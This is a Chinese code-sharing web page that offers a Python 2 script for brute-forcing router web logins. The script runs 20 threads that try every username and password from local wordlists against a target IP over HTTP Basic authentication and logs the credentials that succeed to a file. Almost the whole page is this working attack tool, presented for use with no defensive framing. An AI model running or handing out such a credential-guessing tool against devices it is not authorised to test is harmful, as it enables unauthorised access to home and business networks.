python实现多线程暴力破解登陆路由器功能代码分享

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8-

import base64

import urllib2

import Queue

import threading,re,sys

queue = Queue.Queue()

class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)

    self.queue=queue

    self.passwordlist=passwd

  def run(self):

    self.user=queue.get()

    for self.passwd in self.passwordlist:

      request = urllib2.Request("http://"+target)

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)

      request.add_header('Authorization', psw_base64)

      try:

        

        response = urllib2.urlopen(request)

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)

        fp3 = open('log.txt','a')

        fp3.write(self.user+'||'+self.passwd+'\r\n')

        fp3.close()

      except urllib2.HTTPError:

        print "[-]password:%s Error!" % (self.passwd)

 

if __name__ == '__main__':

  print '''

    #######################################################

    #                                                     #

    #                Routing brute force tool             #

    #                                                     #

    #                 by:well                             #

    #                                                    #

    #######################################################

'''

  passwordlist = []

  line = 20

  threads = []

  global target

  target = raw_input("input ip:")

  fp =open("user.txt")

  fp2=open("passwd.txt")

  for user in fp.readlines():

    queue.put(user.split('\n')[0])

  for passwd in fp2.readlines():

    passwordlist.append(passwd.split('\n')[0])

    #print passwordlist

      

  fp.close()

  fp2.close()

  for i in range(line):

    a = Rout_thread(queue,passwordlist)

    a.start()

    threads.append(a)

  for j in threads:

    j.join()

以上是 python实现多线程暴力破解登陆路由器功能代码分享 的全部内容, 来源链接: utcz.com/z/352350.html

回到顶部